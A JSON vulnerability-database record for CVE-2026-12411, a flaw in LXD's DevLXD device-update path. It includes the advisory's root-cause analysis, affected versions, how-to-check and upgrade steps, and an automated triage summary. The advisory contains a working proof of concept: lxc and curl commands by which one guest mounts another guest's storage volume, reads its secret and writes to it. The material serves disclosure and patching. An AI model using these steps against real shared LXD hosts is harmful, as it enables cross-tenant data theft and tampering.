{"id":"CVE-2026-12411","kind":"vulnerability","aliases":["CVE-2026-12411","GHSA-hhf9-qw4v-72xp"],"related":[],"title":"lxd allows Cross-guest volume hijack via DevLXD device patch","description":"### Summary\n\nA guest can mount another guest's custom storage volume over `/dev/lxd` and read or write its contents without owning it. The DevLXD storage API blocks access to volumes you don't own, but the instance device-update path that attaches a volume to a container without checks ownership. Any guest in a project with `security.devlxd.management.volumes` enabled can attach a volume belonging to a different guest by naming it in a device `PATCH`, giving one tenant full read and write access to another tenant's volume data.\n\n### Details\n\nVolumes created over DevLXD get `volatile.devlxd.owner` set to the calling identity. The storage handlers enforce it on `GET`/`PUT`/`DELETE` ([`isDevLXDVolumeOwner`, lxd/devlxd_storage.go:359](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L359)) and on volume-copy sources ([devlxd_storage.go:286](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#L286)). The device-attach path does not.\n\n`devLXDInstancePatchHandler` ([lxd/devlxd_instances.go:88](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L88)) passes the guest's device map to `generateDevLXDInstanceDevices` ([devlxd_instances.go:178](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L178)). For a device that isn't already on the instance, the only check is `isDeviceAccessible(device)`:\n\n```go\nif (exists && !isOwned) || (!isDeviceAccessible(device)) \n```\n\n`exists` is false for a newly added device, so `isDeviceAccessible` is the whole gate. It resolves to `newDevLXDDeviceAccessValidator` ([devlxd_instances.go:250](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#L250)), which is `diskDeviceAllowed && filters.IsCustomVolumeDisk(device)`. `IsCustomVolumeDisk` ([lxd/device/filters/disk.go:28](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#L28)) checks the device shape only: `type=disk`, non-empty `source`, non-empty `pool`. It never loads the `(pool, source)` volume or compares its owner to the caller.\n\nThe handler then sets `volatile.<dev>.devlxd.owner` to the caller and issues an in-process `PATCH` to `instancePatch` ([lxd/instance_patch.go:55](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L55)). That call skips the HTTP access handler and runs only project quota checks (`limits.AllowInstanceUpdate`, [instance_patch.go:215](https://github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#L215)) before `c.Update`. The disk device's `validateConfig` confirms the volume exists but does no ownership or RBAC check. A guest can therefore point a new disk device at any custom volume in its project and LXD mounts it. The recorded device owner becomes the attacker while the volume's `volatile.devlxd.owner` still names the victim.\n\n### PoC\n\nBuilt from source at HEAD `d29ece6284` (reports as `6.8`, API extension `devlxd_volume_management`); single host, `dir` pool, default project.\n\nHost setup, two guests with separate DevLXD identities, each scoped to edit only its own instance:\n\n```bash\nlxc launch images:alpine/edge guesta -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc launch images:alpine/edge guestb -c security.devlxd=true -c security.devlxd.management.volumes=true\nlxc exec guesta -- apk add --no-cache curl ; lxc exec guestb -- apk add --no-cache curl\n\nfor g in a b; do\n  lxc auth identity create devlxd/id$g\n  lxc auth group create g$g\n  lxc auth group permission add g$g project default can_view\n  lxc auth group permission add g$g project default can_view_storage_volumes\n  lxc auth group permission add g$g project default can_create_storage_volumes\n  lxc auth group permission add g$g instance guest$g can_view project=default\n  lxc auth group permission add g$g instance guest$g can_edit project=default\n  lxc auth identity group add devlxd/id$g g$g\ndone\nTOKEN_A=$(lxc auth identity token issue devlxd/ida --quiet)\nTOKEN_B=$(lxc auth identity token issue devlxd/idb --quiet)\n```\n\nWith `devlxd` defined as `lxc exec <c> -- curl --unix-socket /dev/lxd/sock -H \"Authorization: Bearer <tok>\" ...`:\n\n```bash\ndevlxd guesta $TOKEN_A POST /1.0/storage-pools/default/volumes/custom '{\"name\":\"vola\",\"type\":\"custom\",\"config\":{}}'\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{\"devices\":{\"mine\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/mine\"}}}'\nlxc exec guesta -- sh -c 'echo TOP-SECRET-OWNED-BY-A > /mnt/mine/secret.txt'\ndevlxd guesta $TOKEN_A PATCH /1.0/instances/guesta '{\"devices\":{\"mine\":null}}'\n\ndevlxd guestb $TOKEN_B GET /1.0/storage-pools/default/volumes/custom/vola     # HTTP 404\n\ndevlxd guestb $TOKEN_B PATCH /1.0/instances/guestb '{\"devices\":{\"stolen\":{\"type\":\"disk\",\"pool\":\"default\",\"source\":\"vola\",\"path\":\"/mnt/stolen\"}}}'   # HTTP 200\n\nlxc exec guestb -- cat /mnt/stolen/secret.txt                       \nlxc exec guestb -- sh -c 'echo PWNED-BY-B > /mnt/stolen/b_was_here.txt'\n```\n\n`lxc storage volume get default vola volatile.devlxd.owner` returns guesta's identity; `lxc config device get guestb stolen source` returns `vola`.\n\n### Impact\n\nBroken access control across tenants. It affects operators running untrusted guests in a shared LXD project with `security.devlxd.management.volumes` enabled. Any such guest can read and overwrite every custom volume owned by the other guests in that project. The attacker needs only a normal DevLXD identity scoped to its own instance, and the victim does nothing. Volume names that aren't already known can be recovered by probing, since an attachable volume returns `200` and a missing one returns a not-found error.","summary":"LXD's DevLXD device-update path lets one guest attach a custom storage volume owned by another guest in the same project by naming it in a disk device PATCH. The attacker then reads and overwrites that tenant's volume data.","severity":"critical","cvss":9.6,"epss":0.00288,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/canonical/lxd","fixed":["0.0.0-20260626085133-7cb96ac80a6d"],"affected":">= 0.0.0-20250721152936-fe86ceb2c3fa, < 0.0.0-20260626085133-7cb96ac80a6d","ecosystem":"go"},{"name":"canonical lxd","fixed":["6.9"],"affected":">= 6.6, < 6.9","ecosystem":"vendor"}],"ecosystems":["go","vendor"],"tags":["cwe-639","cwe-862","infrastructure","linux-containers","lxd","self-hosted"],"not_affected_if":["default-config","devlxd-volume-management-disabled","single-tenant"],"how_to_check":"- Run `lxc --version` on the LXD host and compare against the fixed Go module pseudo-version `0.0.0-20260626085133-7cb96ac80a6d`.\n- Check whether any project sets `security.devlxd.management.volumes` to `true`, for example with `lxc config show` on the project or instance.\n- Confirm whether untrusted guests share a project that has custom storage volumes.","fix":"- Upgrade LXD to a build at or after the Go module pseudo-version `0.0.0-20260626085133-7cb96ac80a6d` (the fixed version listed in the advisory data).","status":"open","published_at":"2026-06-26T16:16:30+00:00","first_seen_at":"2026-11-05T17:44:00+00:00","triaged_at":"2026-11-05T17:44:10+00:00","updated_at":"2026-11-05T18:09:59+00:00","category":"infrastructure","confidence":0.85,"triage":{"at":"2026-11-05T17:44:10Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade LXD to a build at or after the Go module pseudo-version `0.0.0-20260626085133-7cb96ac80a6d` (the fixed version listed in the advisory data).","reach":"local","title":"LXD: guest can attach another guest's storage volume and read it","impact":"high","summary":"LXD's DevLXD device-update path lets one guest attach a custom storage volume owned by another guest in the same project by naming it in a disk device PATCH. The attacker then reads and overwrites that tenant's volume data.","audience":"businesses","category":"infrastructure","nicknames":[],"who_cares":["lxd","self-hosted","linux-containers"],"confidence":0.85,"fix_status":"available","needs_auth":"yes","worst_case":"Guest reads and overwrites other guests' custom storage volume data","analyst_note":"","how_to_check":"- Run `lxc --version` on the LXD host and compare against the fixed Go module pseudo-version `0.0.0-20260626085133-7cb96ac80a6d`.\n- Check whether any project sets `security.devlxd.management.volumes` to `true`, for example with `lxc config show` on the project or instance.\n- Confirm whether untrusted guests share a project that has custom storage volumes.","plain_action":"","needs_analyst":false,"not_affected_if":["default-config","single-tenant","devlxd-volume-management-disabled"],"who_is_affected":"Hosts running LXD that let untrusted guests use DevLXD with `security.devlxd.management.volumes` enabled, in a project that holds custom storage volumes belonging to other guests. A single-tenant host, or one where DevLXD volume management is off, is not exposed by this path.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001,"input_tokens":6871,"output_tokens":625,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-12411':14A,22A '-2026':13A,21A '-639':29B '-862':31B '/canonical/lxd':25A '/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#l28))':287C '/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#l178)).':232C '/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#l250)),':276C '/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#l88))':220C '/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#l286)).':207C '/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#l359))':197C '/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#l215))':357C '/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#l55)).':339C '/dev/lxd':94C '28':284C '359':194C '55':336C '6.8':421C '72xp':19A '88':217C 'access':109C,164C,345C 'add':261C,476C,485C,512C,523C,536C,549C 'allow':2A 'alpine/edge':453C,464C 'alreadi':239C 'anoth':57B,87C,166C 'api':107C,422C 'apk':475C,484C 'attach':50B,124C,142C,211C 'attack':72B,402C 'auth':497C,503C,509C,520C,533C,546C 'b':494C 'bash':449C 'becom':400C 'belong':145C 'block':108C 'built':413C 'c':455C,458C,466C,469C 'c.update':359C 'cach':479C,488C 'call':181C,341C 'caller':316C,325C 'canonical':26A 'check':131C,245C,288C,352C,375C 'compar':311C 'confirm':365C 'contain':35B,129C 'content':100C 'copi':202C 'creat':173C,499C,505C,542C 'cross':4A 'cross-guest':3A 'curl':480C,489C 'custom':52B,90C,387C 'cve':12A,20A 'cwe':28B,30B 'd29ece6284':418C 'data':81B,170C 'default':431C,516C,527C,540C 'delet':191C 'detail':171C 'devic':10A,44B,69B,120C,155C,210C,225C,235C,248C,254C,262C,281C,290C,362C,384C,398C 'device-attach':209C 'device-upd':43B,119C 'devlxd':9A,42B,105C,175C,424C,439C 'devlxd.owner':322C 'devlxd/id':500C 'devlxd_instances.go:178':229C 'devlxd_instances.go:250':273C 'devlxd_storage.go:286':204C 'devlxdinstancepatchhandl':215C 'differ':148C 'dir':429C 'disk':68B,294C,361C,383C 'diskdeviceallow':279C 'edit':444C 'empti':297C,301C 'enabl':140C 'enforc':186C 'exec':473C,482C 'exist':251C,255C,368C 'extens':423C 'fals':257C 'filters.iscustomvolumedisk':280C 'full':160C 'g':491C,501C,506C,507C,513C,514C,524C,525C,537C,538C,550C,551C,554C 'gate':268C 'generatedevlxdinstancedevic':228C 'get':176C,189C 'ghsa':16A 'ghsa-hhf9-qw4v-72xp':15A 'github.com':24A,196C,206C,219C,231C,275C,286C,338C,356C 'github.com/canonical/lxd':23A 'github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/device/filters/disk.go#l28))':285C 'github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#l178)).':230C 'github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#l250)),':274C 'github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_instances.go#l88))':218C 'github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#l286)).':205C 'github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/devlxd_storage.go#l359))':195C 'github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#l215))':355C 'github.com/canonical/lxd/blob/d29ece6284a78e6c21d276be4e5fb6fef697c35e/lxd/instance_patch.go#l55)).':337C 'give':157C 'go':249C 'group':504C,510C,521C,534C,547C 'guest':5A,49B,58B,84C,88C,134C,149C,223C,377C,436C,553C 'guesta':454C,474C 'guestb':465C,483C 'handler':185C,318C,346C 'head':417C 'hhf9':17A 'hijack':7A 'host':39B,428C,433C 'http':344C 'ident':182C,440C,498C 'imag':452C,463C 'in-process':329C 'infrastructur':32B 'instanc':118C,242C,448C,552C 'instance_patch.go:215':354C 'instancepatch':334C 'iscustomvolumedisk':282C 'isdeviceaccess':247C,253C,264C 'isdevlxdvolumeown':192C 'isn':237C 'isown':252C 'issu':327C 'launch':451C,462C 'let':47B 'limits.allowinstanceupdate':353C 'linux':34B 'linux-contain':33B 'load':305C 'lxc':450C,461C,472C,481C,496C,502C,508C,519C,532C,545C 'lxd':1A,27A,36B,40B,393C 'lxd/device/filters/disk.go':283C 'lxd/devlxd_instances.go':216C 'lxd/devlxd_storage.go':193C 'lxd/instance_patch.go':335C 'manag':426C 'map':226C 'mount':86C,394C 'name':64B,151C,409C 'never':304C 'new':382C 'newdevlxddeviceaccessvalid':272C 'newli':260C 'no-cach':477C,486C 'non':296C,300C 'non-empti':295C,299C 'one':48B,158C 'overwrit':76B 'own':55B,102C 'owner':313C,399C 'ownership':132C,372C 'pass':221C 'patch':11A,70B,156C,332C 'path':46B,122C,212C 'permiss':511C,522C,535C,548C 'poc':412C 'point':380C 'pool':302C,307C,430C 'pr':557C 'process':331C 'project':62B,137C,350C,391C,432C,515C,526C,539C 'put':190C 'quota':351C 'qw4v':18A 'rbac':374C 'read':74B,96C,161C 'record':397C 'report':419C 'resolv':270C 'run':348C 'scope':442C 'security.devlxd':456C,467C 'security.devlxd.management.volumes':139C,459C,470C 'self':38B 'self-host':37B 'separ':438C 'set':178C,320C 'setup':434C 'shape':291C 'singl':427C 'skip':342C 'sourc':203C,298C,308C,415C 'still':408C 'storag':53B,91C,106C,184C,530C,543C 'summari':82C 'tenant':78B,159C,167C 'therefor':379C 'true':457C,460C,468C,471C 'two':435C 'type':293C 'updat':45B,121C 'validateconfig':364C 'via':8A 'victim':411C 'view':518C,529C,556C 'volatil':321C 'volatile.devlxd.owner':177C,407C 'volum':6A,54B,80B,92C,111C,126C,144C,169C,172C,201C,309C,367C,388C,405C,425C,531C,544C 'volume-copi':200C 'whole':267C 'without':101C,130C 'write':98C,163C","nicknames":[],"mitigations":[],"who_affected":"Hosts running LXD that let untrusted guests use DevLXD with `security.devlxd.management.volumes` enabled, in a project that holds custom storage volumes belonging to other guests. A single-tenant host, or one where DevLXD volume management is off, is not exposed by this path.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["canonicallxd","githubcomcanonicallxd","lxd"],"ptokens":["canonical","com","github","lxd"],"labels":["critical","cwe639","cwe862","go","infrastructure","linuxcontainers","lxd","selfhosted","vendor"],"campaign_type":null,"first_public_at":"2026-06-26T08:25:29+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-hhf9-qw4v-72xp","url":"https://github.com/advisories/GHSA-hhf9-qw4v-72xp","severity":"high","published_at":"2026-11-05T17:40:59+00:00","modified_at":"2026-11-05T17:41:02+00:00","first_seen_at":"2026-11-05T17:44:00+00:00","fetched_at":"2026-11-05T17:49:13+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-12411","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12411","severity":null,"published_at":"2026-06-26T16:16:30+00:00","modified_at":"2026-10-25T17:10:00+00:00","first_seen_at":"2026-11-05T18:09:59+00:00","fetched_at":"2026-11-05T18:09:59+00:00","note":null}],"documents":[{"id":78329,"url":"https://api.github.com/repos/canonical/lxd/security-advisories/GHSA-hhf9-qw4v-72xp","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":78330,"url":"https://github.com/canonical/lxd/security/advisories/GHSA-hhf9-qw4v-72xp","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-06-26T08:25:29+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":78331,"url":"https://github.com/canonical/lxd/pull/18585","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":78332,"url":"https://github.com/canonical/lxd/commit/752e25cfb849a349ff08939ce02747ef4d4e69cc","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"}],"exploit_sources":[{"type":"epss","score":0.00288,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-12411"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}